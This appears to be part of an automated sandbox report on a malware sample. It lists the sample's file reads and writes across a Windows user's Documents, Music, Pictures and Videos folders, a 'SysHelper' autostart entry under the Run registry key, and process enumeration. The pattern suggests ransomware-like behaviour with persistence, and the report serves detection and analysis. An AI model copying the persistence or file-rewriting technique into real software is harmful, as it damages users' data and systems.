Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\XSVP9deEn8lAX Ja.ppt size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\XSVP9deEn8lAX Ja.ppt size = 153605, size_out = 93653 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps size = 153605, size_out = 1932 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots size = 153605, size_out = 77566 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_i_MHuX.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_i_MHuX.xlsx size = 153605, size_out = 68119 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf size = 153605, size_out = 85644 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\2TTN4vHH6T.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\2TTN4vHH6T.wav size = 153605, size_out = 84347 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a size = 153605, size_out = 39755 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a size = 153605, size_out = 72017 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\BKfdC5oaIRvpZH6X7.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\BKfdC5oaIRvpZH6X7.wav size = 153605, size_out = 90631 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\ejdJB5Su3HZ_V.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\ejdJB5Su3HZ_V.mp3 size = 153605, size_out = 25677 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\LDJP8fU.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\LDJP8fU.m4a size = 153605, size_out = 68564 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3 size = 153605, size_out = 65466 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a size = 153605, size_out = 38511 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\wvHO9AOpGnVIgBmE4Z.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\wvHO9AOpGnVIgBmE4Z.m4a size = 153605, size_out = 33349 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3 size = 153605, size_out = 33818 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\y5PNwRSJ-BzEU_pWoMG7.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\y5PNwRSJ-BzEU_pWoMG7.wav size = 153605, size_out = 54493 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3 size = 153605, size_out = 32299 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\vs4jAA0 zd1HqzIZFr.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\vs4jAA0 zd1HqzIZFr.gif size = 153605, size_out = 50434 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi size = 153605, size_out = 58266 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi size = 153605, size_out = 46741 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv size = 153605, size_out = 66982 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf size = 153605, size_out = 77228 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi size = 153605, size_out = 93374 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg size = 153605, size_out = 37068 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3 size = 153605, size_out = 38963 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4 size = 153605, size_out = 8444 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg size = 153605, size_out = 56272 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3 size = 153605, size_out = 43157 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv size = 153605, size_out = 28534 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav size = 153605, size_out = 58055 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav size = 153605, size_out = 3073 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav size = 153605, size_out = 45007 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp size = 153605, size_out = 63218 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf size = 153605, size_out = 53660 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4 size = 153605, size_out = 74609 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav size = 153605, size_out = 36341 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls size = 153605, size_out = 47681 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps size = 153605, size_out = 60770 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi size = 153605, size_out = 39236 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods size = 153605, size_out = 10531 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx size = 153605, size_out = 53526 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf size = 153605, size_out = 53341 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf size = 153605, size_out = 84406 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods size = 153605, size_out = 63835 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc size = 153605, size_out = 58183 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst size = 153605, size_out = 153605 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url size = 153605, size_out = 236 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url size = 153605, size_out = 226 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url size = 153605, size_out = 134 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url size = 153605, size_out = 133 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav size = 153605, size_out = 45913 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav size = 153605, size_out = 84575 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 size = 153605, size_out = 63324 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a size = 153605, size_out = 54754 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 size = 153605, size_out = 80829 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a size = 153605, size_out = 6940 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 size = 153605, size_out = 11607 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3 size = 153605, size_out = 42292 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav size = 153605, size_out = 99022 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav size = 153605, size_out = 2418 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a size = 153605, size_out = 29114 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav size = 153605, size_out = 45779 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav size = 153605, size_out = 101470 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3 size = 153605, size_out = 96168 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a size = 153605, size_out = 87795 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3 size = 153605, size_out = 23827 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a size = 153605, size_out = 50649 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav size = 153605, size_out = 97047 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 size = 153605, size_out = 16559 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav size = 153605, size_out = 27488 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 size = 153605, size_out = 15690 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a size = 153605, size_out = 69550 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 size = 153605, size_out = 4288 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp size = 153605, size_out = 64081 True 1
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx size = 38 True 1
Fn
Data
For performance reasons, the remaining 633 entries are omitted.
The remaining entries can be found in glog.xml.
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion - True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run value_name = SysHelper, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --AutoStart, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion value_name = SysHelper, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (28)
»
Operation Process Additional Information Success Count Logfile
Enumerate Processes - - True 1
Fn
Open System desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
